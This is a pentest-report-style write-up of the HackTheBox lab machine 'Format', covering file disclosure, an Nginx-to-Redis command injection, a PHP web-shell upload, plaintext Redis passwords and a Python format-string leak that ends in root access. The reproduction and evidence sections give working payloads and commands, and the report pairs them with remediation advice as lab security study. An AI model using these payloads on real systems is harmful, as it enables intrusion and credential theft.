Format - Pentest Report

Executive Summary

HackTheBox contracted Otrashoui Cybersecurity Services™ to perform a Network Penetration Test of one of Hack The Box’s internal hosts to identify security weaknesses, determine the impact to HackTheBox, and provide remediation recommendations.

Approach

Otrashoui Cybersecurity Services™ performed testing under a “black box” approach without credentials or any prior knowledge of HackTheBox’s environment.

Scope

Host Description
10.10.11.213 Format Web Server

Assessment Overview and Recommendations

During the Penetration test against HackTheBox, Otrashoui Cybersecurity Services™ identified five (5) findings that affect HackTheBox’s information security posture.

The first finding involved a Local File Disclosure that enabled reading arbitrary files on the server. This vulnerability could be used to gain access to sensitive information, such as credentials or configuration files. This kind of issues can be fixed by adopting secure coding practices and periodic source code audits.

There was a flaw in the Nginx (web server) configuration that allowed to send commands to the Redis instance. This flaw can be used to elevate privileges in the web application and become a “Pro” user. These flaws can be mitigated by hardening the configuration files, and performing configuration audits.

Another finding involved an Arbitrary File Write vulnerability only exploitable by “Pro” users. This vulnerability results in remote code execution, allowing remote access to the server. This vulnerability can be mitigated by validating or sanitizing user input to ensure no malicious data is present.

The tester found plaintext credentials stored in the Redis instance. This means that an attacker who gains access to the server is able to retrieve passwords for all user of the web application, no matter the password strength. Password or other sensitive data should be hashed or encrypted using strong and reputable algorithms (we recommend Argon2 or Bcrypt for hashing algorithms).

Finally, there was a custom Python script used to manage license information. A format string vulnerability was discovered, which allowed accessing sensitive data present in the script. This included an encryption key, which was reused for the password of the root account, thus granting full administrative access on the host. This issue can easily be fixed by using more recent Python features.

Summary of Findings

The following table presents a summary of findings by severity level:

High Medium Low Total
5 0 0 5

Below is a high-level overview of each finding identified during the assessment. These findings are covered in depth in the Technical Findings Details section of this report:

Name Severity
Local File Disclosure High
Nginx Misconfiguration High
Plaintext Storage of Password High
Python Format String Vulnerability High
Arbitrary File Write High

Exploitation Walkthrough

During the course of the assessment, Otrashoui Cybersecurity Services™ was able to gain a foothold and compromise the in-scope host. The steps below demonstrate how the tester went from unauthenticated user to administrative access on the host.

Detailed Walkthrough

  1. A blog author can exploit a vulnerability that allows reading local files on the server.
  2. Using this vulnerability, the tester discovered a misconfiguration in Nginx that allows unauthenticated users to send commands to the Redis instance. This resulted in privilege escalation on the web application, giving the tester access to the “Pro” role.
  3. Users in the “Pro” tier can exploit a vulnerability that enables arbitrary file write in the web directory. This resulted in remote code execution.
  4. Having local access to the server, the tester could retrieve plaintext passwords from the Redis instance. One password was reused for the cooper local user account.
  5. The cooper user was allowed to run a custom Python script as root. This Python script had a flaw that enabled leaking sensitive data from that Python script. This included the encryption key, which was reused as the password for the root user.

Reproduction Steps

In the following code snippets, [...] is used to discard irrelevant output in the current context. Additionally, lines starting with the $ character indicate a system command typed by the tester.

After creating a new blog, go to /edit to add a section. Intercept the request and modify the id POST parameter to /etc/nginx/sites-enabled/default to view the Nginx configuration:

location ~ \/static\/(.*)\/(.*) {
    resolver 127.0.0.1;
    proxy_pass http:\/\/$1.microbucket.htb\/$2;
}

This block of the Nginx configuration has a flaw whch allows sending arbitrary commands to the redis Unix socket (more information in this blog post). Here is the paylaod that will upgrade the account “yep” to “pro”:

EVAL /static/unix:%2Fvar%2Frun%2Fredis%2Fredis.sock:%22return%20redis.call('hset','yep','pro','true')%22%200%20/asdfasdf HTTP/1.1
Host: microblog.htb

When “Pro” accounts are created, an uploads folder is created, which allows users to upload images to their blog. It is possible to reuse the directory traversal in the id parameter when editing the blog to write arbitrary PHP code inside this uploads folder:

$ curl yep.microblog.htb/edit/index.php -d 'id=../uploads/shell.php&txt=<?php system($_REQUEST["cmd"]); ?>'
$ curl yep.microblog.htb/uploads/shell.php -d 'cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

A clear text password was found in the redis instance, which is reused to login as cooper:

www-data@format:~$ redis-cli -s /var/run/redis/redis.sock
redis /var/run/redis/redis.sock> keys *
1) "PHPREDIS_SESSION:uqtdnrggersfm2mi818nt1qcbq"
2) "cooper.dooper"
3) "cooper.dooper:sites"
4) "yep"
5) "yep:sites"
redis /var/run/redis/redis.sock> hget cooper.dooper password
"zooperdoopercooper"

The cooper user is allowed to run a custom python script /usr/bin/license:

cooper@format:~$ sudo -l
Matching Defaults entries for cooper on format:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cooper may run the following commands on format:
    (root) /usr/bin/license

The script reads /root/license/secret which is used for the encryption key:

[...]
secret = [line.strip() for line in open("/root/license/secret")][0]
secret_encoded = secret.encode()
salt = b'microblogsalt123'
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=100000, backend=default_backend())
encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))
[...]

Then, the script fetches user data from redis and builds a format string:

prefix = "microblog"
username = r.hget(args.provision, "username").decode()
firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)

Since a portion of the format string is user-controlled, it is possible to exploit it to include other variables.

Change the last-name parameter in redis to a format string to print the secret variable:

hset yep last-name {license.__init__.__globals__[secret]}

Execute the script to print the secret variable:

cooper@format:~$ sudo license -p yep

Plaintext license key:
------------------------------------------------------
microblogyep/%QzJ#0?qCGuRyI8iRi{dh>#l^L`g7XbP#p@*'a*yepunCR4ckaBL3Pa$$w0rd

Encrypted license key (distribute to customer):
------------------------------------------------------
gAAAAABkYqXC2Xp3JGFVI__uSaLXpb9X84cyRMk[...]

the encryption key (unCR4ckaBL3Pa$$w0rd) is reused for the root account:

cooper@format:~$ su -l
root@format:~# id
uid=0(root) gid=0(root) groups=0(root)

Remediation Summary

Short Term

Medium Term

Long Term

Technical Findings Details

1. Local File Disclosure - High

CWE 22
CVSS 3.1 Score 6.5
Affected Host http://*.microblog.htb
Description The web application fails to sufficiently sanitize user input when accessing files on the local filesystem, which allows reading files outside the application.
Impact If an attacker is able to create an account, this vulnerability allows them to read potentially sensitive files on the underlying server, like configuration files or credentials.
Remediation Validate user input by verifying the final absolute path is allowed.
External References https://owasp.org/www-community/attacks/Path_Traversal

Evidence

The first step is to create a blog. Here is a convenience python script to create a new blog:

#!/usr/bin/env python3

import requests

target = "http://app.microblog.htb"
username = "yep"
password = "asdf"

with requests.Session() as session:
    # register
    data = {
        "first-name": username,
        "last-name": username,
        "username": username,
        "password": password,
    }
    r = session.post(f"{target}/register/", data=data, allow_redirects=False)

    # login
    data = {
        "username": username,
        "password": password,
    }
    session.post(f"{target}/login/", data=data, allow_redirects=False)

    # add site
    data = {"new-blog-name": username}
    session.post(f"{target}/dashboard/", data=data, allow_redirects=False)

This will register an account with username yep and password asdf, and create a blog at http://yep.microblog.htb.

Then go to http://yep.microblog.htb/edit/ to edit the blog. When adding a new section, a request is made:

By modifying the id POST parameter, it is possible to read local files (/etc/passwd in this example):

2. Nginx Misconfiguration - High

CWE
CVSS 3.1 Score 8.1
Affected Host microblog.htb (10.10.11.213)
Description The Nginx web server has a misconfiguration that allows to pass commands to the Redis instance.
Impact An attacker can use this vulnerability to execute commands to the Redis instance, allowing them to elevate their privileges on the web application, gaining access to dangerous functionality.
Remediation Modify the regular expression in the location block to only allow needed characters.
External References https://labs.detectify.com/2021/02/18/middleware-middleware-everywhere-and-lots-of-misconfigurations-to-fix/

Evidence

server {
[...]
    server_name microblog.htb

    location ~ /static/(.*)/(.*) {
        resolver 127.0.0.1;
        proxy_pass http://$1.microbucket.htb/$2;
    }
}
EVAL /static/unix:%2Fvar%2Frun%2Fredis%2Fredis.sock:%22return%20redis.call('hset','yep','pro','true')%22%200%20/asdfasdf HTTP/1.1
Host: microblog.htb

3. Arbitrary File Write - High

CWE 434
CVSS 3.1 Score 7.2
Affected Applicaton http://*.microblog.htb
Description “Pro” users have the ability to upload images. This functionality can be abused to write PHP files in the web directory.
Impact This vulnerability results in remote code execution on the underlying web server.
Remediation Validate/sanitize user input to make sure only legitimate data is processed.
External References https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html

Evidence

When “Pro” accounts are created, an uploads folder is created, which allows users to upload images to their blog. It is possible to reuse the directory traversal in the id parameter when editing the blog to write arbitrary PHP code inside this uploads folder:

$ curl yep.microblog.htb/edit/index.php -d 'id=../uploads/shell.php&txt=<?php system($_REQUEST["cmd"]); ?>'
$ curl yep.microblog.htb/uploads/shell.php -d 'cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

4. Plaintext Storage of Password - High

CWE 256
CVSS 3.1 Score 7.8
Affected Host microblog.htb (10.10.11.213)
Description The web application stores passwords of users in plaintext.
Impact An attacker who gains access to the local system can retrieve credentials of every user of this application.
Remediation Store credentials hashed (the Argon2 or Bcrypt hashing algorithms are recommended).
External References https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html

Evidence

Use the redis-cli client to access the Redis instance via the unix socket at /var/run/redis/redis.sock:

www-data@format:~$ redis-cli -s /var/run/redis/redis.sock
redis /var/run/redis/redis.sock> keys *
1) "PHPREDIS_SESSION:uqtdnrggersfm2mi818nt1qcbq"
2) "cooper.dooper"
3) "cooper.dooper:sites"
4) "yep"
5) "yep:sites"
redis /var/run/redis/redis.sock> hget cooper.dooper password
"zooperdoopercooper"

This password can be used to login as cooper:

$ ssh cooper@microblog.htb
cooper@microblog.htb's password:
Linux format 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64
[...]
cooper@format:~$

5. Python Format String Vulnerability - High

CWE 134
CVSS 3.1 Score 8.0
Affected Host microblog.htb (10.10.11.213)
Description The /usr/bin/license python script is vulnerable to a format string vulnerability.
Impact An attacker might get access to sensitive data, such as credentials.
Remediation Consider using “f-strings” instead of the old .format() (requires Python 3.6 or newer).
External References https://podalirius.net/en/articles/python-format-string-vulnerabilities/

Evidence

The user cooper is allowed to run /usr/bin/license which is a Python script as the root user:

cooper@format:~$ sudo -l
Matching Defaults entries for cooper on format:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cooper may run the following commands on format:
    (root) /usr/bin/license

The script reads /root/license/secret which is used for the encryption key:

[...]
secret = [line.strip() for line in open("/root/license/secret")][0]
secret_encoded = secret.encode()
salt = b'microblogsalt123'
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())
encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))
[...]

Then, the script connects to the Redis instance to retrieve the first name and last name for a given user (specified via command line option). These variables are then concatenated in a format string:

[...]
prefix = "microblog"
username = r.hget(args.provision, "username").decode()
firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
print("")
print("Plaintext license key:")
print("------------------------------------------------------")
print(license_key)
[...]

Since any user can connect to the Redis instance, it is possible to create or modify an entry with a specific fist or last name that enables reading variables in the Python script.

Change the last-name parameter in redis to a format string to print the secret variable:

hset yep last-name {license.__init__.__globals__[secret]}

Execute the script to print the secret variable:

cooper@format:~$ sudo license -p yep

Plaintext license key:
------------------------------------------------------
microblogyep/%QzJ#0?qCGuRyI8iRi{dh>#l^L`g7XbP#p@*'a*yepunCR4ckaBL3Pa$$w0rd

Encrypted license key (distribute to customer):
------------------------------------------------------
gAAAAABkYqXC2Xp3JGFVI__uSaLXpb9X84cyRMk[...]

the encryption key is reused for the root account:

cooper@format:~$ su -l
root@format:~# id
uid=0(root) gid=0(root) groups=0(root)